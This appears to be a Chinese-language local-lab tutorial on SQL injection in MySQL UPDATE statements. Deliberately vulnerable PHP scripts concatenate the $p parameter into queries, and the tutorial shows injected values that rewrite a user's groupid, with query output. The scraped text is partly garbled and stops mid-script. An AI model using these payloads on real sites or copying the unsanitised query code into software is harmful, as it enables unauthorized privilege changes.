一.测试环境:
OS: Windowsxp sp2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.测试数据库结构:
-----start---
-- 数据库: `test`
--
-- --------------------------------------------------------
--
-- 表的结构 `userinfo`
--
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default ’1’,
`user` varchar(12) NOT NULL default ’heige’,
`pass` varchar(122) NOT NULL default ’123456’
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--
-- 导出表中的数据 `userinfo`
--
INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);
------end-------
<!--p <--><br> //test1.php Mod1 <br> <br> $servername = "localhost"; <br> <br> $dbusername = "root"; <br> <br> $dbpassword = ""; <br> <br> $dbname = "test"; <br> <br> mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); <br> <br> $sql = "update userinfo set pass=$p where user=’heige’";// <br> $result = mysql_db_query($dbname, $sql); <br> <br> $userinfo = mysql_fetch_array($result); <br> <br> echo " <p>SQL Query:$sql</p> <p>"; <br> <br> ?></p> |
mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec) |
用户heige的groudid又2改为1了 :)
所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或""[MOD2]
//test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass=’$p’ where user=’heige’";// $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); echo " SQL Query:$sql "; |
为了关闭’我们构造$p应该为123456’,groudid=’2 提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了’
提交的语句变成:SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456’,groudid=’1 | +---------+-------+--------------------+ 1 row in set (0.00 sec) |
//test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; |